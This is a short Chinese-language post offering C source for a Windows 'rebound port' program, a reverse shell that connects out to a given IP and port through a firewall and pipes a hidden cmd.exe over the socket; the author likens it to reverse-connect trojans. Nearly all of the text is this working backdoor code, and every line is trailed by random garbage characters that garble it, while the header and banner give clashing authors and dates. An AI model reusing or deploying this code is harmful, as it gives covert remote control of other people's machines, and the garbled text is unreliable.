这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jv %,v?
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/* ============================== G ?jKm_`L
Rebound port in Windows NT PF2PMEBx!
By wind,2006/7 *R m>bLI
===============================*/ 3E$M{l
#include %(MaH
#include 6.ASLH3#
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#pragma comment(lib,"wsock32.lib") 3'}(:X(
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void OutputShell(); aJ}y|+Cj
SOCKET sClient; k(pI5N}pJZ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /X~l%Xm
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void main(int argc,char **argv) >k"Z'9l
{ 7#SXqyP[
WSADATA stWsaData; @@"}i7
int nRet; >\y|}|?
SOCKADDR_IN stSaiClient,stSaiServer; ~,WG284
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if(argc != 3) epI&R) ]
{ @e8b'w3
printf("Useage:\n\rRebound DestIP DestPort\n"); rG|lRT3-K
return; )y4bb^;z
} ON.C%-T-
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WSAStartup(MAKEWORD(2,2),&stWsaData); XZD9vFj1Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l\xcR]O
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stSaiClient.sin_family = AF_INET; S.pL^Ru
stSaiClient.sin_port = htons(0); ecDni>W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V9&7K65-1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Tw*:Vw
{ r"sK@
printf("Bind Socket Failed!\n"); HX%lL}E
return; xl8=y
} KX D&FDkF
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stSaiServer.sin_family = AF_INET; yB0xa%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); : 8dQ8p;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %Hx8%G!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1BK!<}yI{
{ h+=xG|1R[5
printf("Connect Error!"); ecaEWIOG
return; N3O3V5':!
} @{N2I$%6
OutputShell(); ;,2i1m0"
} v;m`d{(i2
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void OutputShell() 6a6;]lsG
{ 1W3+ng
char szBuff[1024]; Wi7!J[ B
SECURITY_ATTRIBUTES stSecurityAttributes; :0@R(ct;>
OSVERSIONINFO stOsversionInfo; /e5' YVP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; nb-]fa
STARTUPINFO stStartupInfo; %3b;`Oa
char *szShell; ^/@Z4(E
PROCESS_INFORMATION stProcessInformation; {9?++G"\
unsigned long lBytesRead; ;e
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &O8vI,M
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aT|SKb`
stSecurityAttributes.lpSecurityDescriptor = 0; (=&z:-52V
stSecurityAttributes.bInheritHandle = TRUE; dpG l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mV!Ia-k
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (5CdA1|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N{+6 V`\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :&Sv jJR
stStartupInfo.wShowWindow = SW_HIDE; p G|-<6WY
stStartupInfo.hStdInput = hReadPipe; VWhq+8z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |Y|6`9;
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GetVersionEx(&stOsversionInfo); cPaz-
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switch(stOsversionInfo.dwPlatformId) cdd6*+E
{ 3oD?e
case 1: Rhi`4wo0$
szShell = "command.com"; mnzB90<
break; E~}@56ER}
default: +"J2k9E
szShell = "cmd.exe"; #h=pU/R
break; a|}v?z\
} @S?`!=M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $ljzw@k
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send(sClient,szMsg,77,0); {ovt
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while(1) ]bcAbCZ@
{ 7Eb |AR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !O)je>A
if(lBytesRead) B`{7-Asc1
{ ?,XrZRF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (:Y0^
send(sClient,szBuff,lBytesRead,0); \B/!}Tn;
} zX]4DLl,
else 9}-;OJe
{ Rtywi}VV2
lBytesRead=recv(sClient,szBuff,1024,0); r0^ *|+
if(lBytesRead<=0) break; ,zF^^,lO7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Cx~,wk;=
} ZNfQM&<d
} y26?>.!
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return; hl}iw_e
}